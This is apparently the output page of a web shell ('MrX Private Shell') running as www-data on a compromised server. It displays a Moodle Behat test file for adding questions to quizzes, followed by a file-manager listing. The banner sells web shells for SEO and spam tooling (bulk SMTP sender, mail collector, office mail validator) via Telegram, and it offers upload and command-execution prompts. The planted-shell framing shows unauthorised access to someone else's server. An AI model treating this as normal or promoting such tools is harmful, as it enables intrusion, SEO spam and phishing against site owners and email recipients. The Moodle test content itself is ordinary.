__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_quiz
Feature: Edit quiz page - adding things
  In order to build the quiz I want my students to attempt
  As a teacher
  I need to be able to add questions to the quiz.

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email                |
      | teacher1 | T1        | Teacher1 | teacher1@example.com |
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1        | 0        |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |
    And the following "activities" exist:
      | activity   | name   | intro                           | course | idnumber |
      | quiz       | Quiz 1 | Quiz 1 for testing the Add menu | C1     | quiz1    |
    And I am on the "Quiz 1" "mod_quiz > Edit" page logged in as "teacher1"

  @javascript
  Scenario: Add some new question to the quiz using '+ a new question' options of the 'Add' menu.
    When I open the "last" add to quiz menu
    And I follow "a new question"
    And I set the field "item_qtype_essay" to "1"
    And I press "submitbutton"
    Then I should see "Adding an Essay question"
    And I set the field "Question name" to "Essay 01 new"
    And I set the field "Question text" to "Please write 200 words about Essay 01"
    And I press "id_submitbutton"
    And I should see "Essay 01 new" on quiz page "1"

    And I open the "Page 1" add to quiz menu
    And I follow "a new question"
    And I set the field "item_qtype_essay" to "1"
    And I press "submitbutton"
    Then I should see "Adding an Essay question"
    And I set the field "Question name" to "Essay 02 new"
    And I set the field "Question text" to "Please write 200 words about Essay 02"
    And I press "id_submitbutton"
    And I should see "Essay 01 new" on quiz page "1"
    And I should see "Essay 02 new" on quiz page "1"

    And I open the "Page 1" add to quiz menu
    And I follow "a new question"
    And I set the field "item_qtype_essay" to "1"
    And I press "submitbutton"
    Then I should see "Adding an Essay question"
    And I set the field "Question name" to "Essay 03 new"
    And I set the field "Question text" to "Please write 300 words about Essay 03"
    And I press "id_submitbutton"
    And I should see "Essay 01 new" on quiz page "1"
    And I should see "Essay 02 new" on quiz page "1"
    And I should see "Essay 03 new" on quiz page "1"

    And I open the "Page 1" add to quiz menu
    And I follow "a new question"
    And I set the field "item_qtype_essay" to "1"
    And I press "submitbutton"
    Then I should see "Adding an Essay question"
    And I set the field "Question name" to "Essay 04 new"
    And I set the field "Question text" to "Please write 300 words about Essay 04"
    And I press "id_submitbutton"
    And I should see "Essay 01 new" on quiz page "1"
    And I should see "Essay 02 new" on quiz page "1"
    And I should see "Essay 03 new" on quiz page "1"
    And I should see "Essay 04 new" on quiz page "1"

    # Repaginate as two questions per page.
    And I should not see "Page 2"
    When I press "Repaginate"
    Then I should see "Repaginate with"
    And I set the field "menuquestionsperpage" to "2"
    And I click on "Go" "button" in the "Repaginate" "dialogue"
    And I should see "Essay 01 new" on quiz page "1"
    And I should see "Essay 02 new" on quiz page "1"
    And I should see "Essay 03 new" on quiz page "2"
    And I should see "Essay 04 new" on quiz page "2"

    # Add a question to page 2.
    When I open the "Page 2" add to quiz menu
    And I choose "a new question" in the open action menu
    And I set the field "item_qtype_essay" to "1"
    And I press "submitbutton"
    Then I should see "Adding an Essay question"
    And I set the field "Question name" to "Essay for page 2"
    And I set the field "Question text" to "Please write 200 words about Essay for page 2"
    And I press "id_submitbutton"
    And I should see "Essay 01 new" on quiz page "1"
    And I should see "Essay 02 new" on quiz page "1"
    And I should see "Essay 03 new" on quiz page "2"
    And I should see "Essay 04 new" on quiz page "2"
    And I should see "Essay for page 2" on quiz page "2"

  @javascript
  Scenario: Add questions from question bank to the quiz. In order to be able to
      add questions from question bank to the quiz, first we create some new questions
      in various categories and add them to the question bank.

    # Create a couple of sub categories.
    Given the following "question categories" exist:
      | contextlevel | reference | questioncategory | name           |
      | Course       | C1        | Default for C1   | Subcat 1       |
      | Course       | C1        | Default for C1   | Subcat 2       |
    When I am on "Course 1" course homepage
    And I navigate to "Question bank" in current page administration
    And I select "Questions" from the "Question bank tertiary navigation" singleselect
    And I should see "Question bank"

    # Create the Essay 01 question.
    When I press "Create a new question ..."
    And I set the field "item_qtype_essay" to "1"
    And I click on "Add" "button" in the "Choose a question type to add" "dialogue"
    Then I should see "Adding an Essay question"
    And I set the field "Question name" to "Essay 01"
    And I set the field "Question text" to "Please write 100 words about Essay 01"
    And I press "id_submitbutton"
    Then I should see "Question bank"
    And I should see "Essay 01"

    # Create the Essay 02 question.
    When I press "Create a new question ..."
    And I set the field "item_qtype_essay" to "1"
    And I click on "Add" "button" in the "Choose a question type to add" "dialogue"
    Then I should see "Adding an Essay question"
    And I set the field "Question name" to "Essay 02"
    And I set the field "Question text" to "Please write 200 words about Essay 02"
    And I press "id_submitbutton"
    Then I should see "Question bank"
    And I should see "Essay 02"

    # Create the Essay 03 question.
    And I wait until the page is ready
    When I press "Create a new question ..."
    And I set the field "item_qtype_essay" to "1"
    And I click on "Add" "button" in the "Choose a question type to add" "dialogue"
    Then I should see "Adding an Essay question"
    And I set the field "Question name" to "Essay 03"
    And I set the field "Question text" to "Please write 300 words about Essay 03"
    And I press "id_submitbutton"
    Then I should see "Question bank"
    And I should see "Essay 03"

    # Create the TF 01 question.
    When I press "Create a new question ..."
    And I set the field "item_qtype_truefalse" to "1"
    And I click on "Add" "button" in the "Choose a question type to add" "dialogue"
    Then I should see "Adding a True/False question"
    And I set the field "Question name" to "TF 01"
    And I set the field "Question text" to "The correct answer is true"
    And I set the field "Correct answer" to "True"
    And I press "id_submitbutton"
    Then I should see "Question bank"
    And I should see "TF 01"

    # Create the TF 02 question.
    When I press "Create a new question ..."
    And I set the field "item_qtype_truefalse" to "1"
    And I click on "Add" "button" in the "Choose a question type to add" "dialogue"
    Then I should see "Adding a True/False question"
    And I set the field "Question name" to "TF 02"
    And I set the field "Question text" to "The correct answer is false"
    And I set the field "Correct answer" to "False"
    And I press "id_submitbutton"
    Then I should see "Question bank"
    And I should see "TF 02"

    # Add questions from question bank using the Add menu.
    # Add Essay 03 from question bank.
    And I am on the "Quiz 1" "mod_quiz > Edit" page
    And I open the "last" add to quiz menu
    And I follow "from question bank"
    Then the "Add selected questions to the quiz" "button" should be disabled
    And I click on "Select" "checkbox" in the "Essay 03" "table_row"
    Then the "Add selected questions to the quiz" "button" should be enabled
    And I click on "Add to quiz" "link" in the "Essay 03" "table_row"
    And I should see "Essay 03" on quiz page "1"

    # Add Essay 01 from question bank.
    And I open the "Page 1" add to quiz menu
    And I follow "from question bank"
    And I click on "Add to quiz" "link" in the "Essay 01" "table_row"
    And I should see "Essay 03" on quiz page "1"
    And I should see "Essay 01" on quiz page "1"

    # Add Esay 02 from question bank.
    And I open the "Page 1" add to quiz menu
    And I follow "from question bank"
    And I click on "Add to quiz" "link" in the "Essay 02" "table_row"
    And I should see "Essay 03" on quiz page "1"
    And I should see "Essay 01" on quiz page "1"
    And I should see "Essay 02" on quiz page "1"

    # Add a random question.
    And I open the "Page 1" add to quiz menu
    And I follow "a random question"
    And I press "Add random question"
    And I should see "Essay 03" on quiz page "1"
    And I should see "Essay 01" on quiz page "1"
    And I should see "Essay 02" on quiz page "1"
    And I should see "Random" on quiz page "1"

    # Repaginate as one question per page.
    And I should not see "Page 2"
    When I press "Repaginate"
    Then I should see "Repaginate with"
    And I set the field "menuquestionsperpage" to "1"
    When I click on "Go" "button" in the "Repaginate" "dialogue"
    And I should see "Essay 03" on quiz page "1"
    And I should see "Essay 01" on quiz page "2"
    And I should see "Essay 02" on quiz page "3"
    And I should see "Random" on quiz page "4"

    # Add a random question to page 4.
    And I open the "Page 4" add to quiz menu
    And I choose "a new question" in the open action menu
    And I set the field "item_qtype_essay" to "1"
    And I press "submitbutton"
    Then I should see "Adding an Essay question"
    And I set the field "Question name" to "Essay for page 4"
    And I set the field "Question text" to "Please write 200 words about Essay for page 4"
    And I press "id_submitbutton"
    And I should see "Essay 03" on quiz page "1"
    And I should see "Essay 01" on quiz page "2"
    And I should see "Essay 02" on quiz page "3"
    And I should see "Random" on quiz page "4"
    And I should see "Essay for page 4" on quiz page "4"

  @accessibility @javascript
  Scenario: Check the accessibility of the quiz questions page
    Given the following "question categories" exist:
      | contextlevel | reference | name           |
      | Course       | C1        | Test questions |
    And the following "questions" exist:
      | questioncategory | qtype     | name           | questiontext              |
      | Test questions   | truefalse | First question | Answer the first question |
      | Test questions   | truefalse | Other question | Answer the first question |
    And quiz "Quiz 1" contains the following questions:
      | question          | page |
      | First question    | 1    |
    When I reload the page
    Then I should see "First question"
    And the page should meet accessibility standards

Filemanager

Name Type Size Permission Actions
add_quiz.feature File 2.84 KB 0777
attempt_basic.feature File 12.28 KB 0777
attempt_begin.feature File 6.19 KB 0777
attempt_multiple_grades.feature File 2.53 KB 0777
attempt_redo_questions.feature File 11.94 KB 0777
attempt_require_previous.feature File 12.75 KB 0777
attempt_review_options.feature File 3.76 KB 0777
attempt_sequential.feature File 4.53 KB 0777
backup.feature File 3.23 KB 0777
behat_mod_quiz.php File 50.46 KB 0777
completion_condition_attempts_used.feature File 4.16 KB 0777
completion_condition_minimum_attempts.feature File 3.25 KB 0777
completion_condition_passing_grade.feature File 5.67 KB 0777
completion_manual.feature File 2.04 KB 0777
editing_add.feature File 10.98 KB 0777
editing_add_from_question_bank.feature File 8.36 KB 0777
editing_add_random.feature File 16.15 KB 0777
editing_edit_random.feature File 2.99 KB 0777
editing_move_by_click.feature File 4.86 KB 0777
editing_multiple_grades.feature File 8.08 KB 0777
editing_question_numbering.feature File 6.6 KB 0777
editing_remove_multiple_questions.feature File 13.07 KB 0777
editing_remove_question.feature File 4.38 KB 0777
editing_repaginate.feature File 6.38 KB 0777
editing_require_previous.feature File 13.22 KB 0777
editing_section_headings.feature File 18.68 KB 0777
editing_set_marks_no_attempts.feature File 3.48 KB 0777
editing_set_marks_with_attempts.feature File 3.58 KB 0777
feedback_on_override_mark.feature File 2.06 KB 0777
flag_questions.feature File 3.66 KB 0777
group_mode.feature File 3.85 KB 0777
info_page.feature File 2.6 KB 0777
manually_mark_question.feature File 4.1 KB 0777
preview.feature File 5.09 KB 0777
quiz_activity_availability.feature File 6.12 KB 0777
quiz_activity_certainty.feature File 6.67 KB 0777
quiz_activity_completion.feature File 4.71 KB 0777
quiz_activity_completion_locked.feature File 2.62 KB 0777
quiz_activity_completion_unlocked.feature File 3.89 KB 0777
quiz_feedback.feature File 3.99 KB 0777
quiz_group_override.feature File 7.26 KB 0777
quiz_interactive_multiple_tries.feature File 3.42 KB 0777
quiz_no_calendar_capabilities.feature File 1.97 KB 0777
quiz_question_versions.feature File 6.95 KB 0777
quiz_reset.feature File 2.94 KB 0777
quiz_user_override.feature File 11.93 KB 0777
random_question.feature File 5.04 KB 0777
reattempt_quiz.feature File 2.56 KB 0777
settings_form_fields_disableif.feature File 6.9 KB 0777
settings_form_validation.feature File 1.03 KB 0777
Filemanager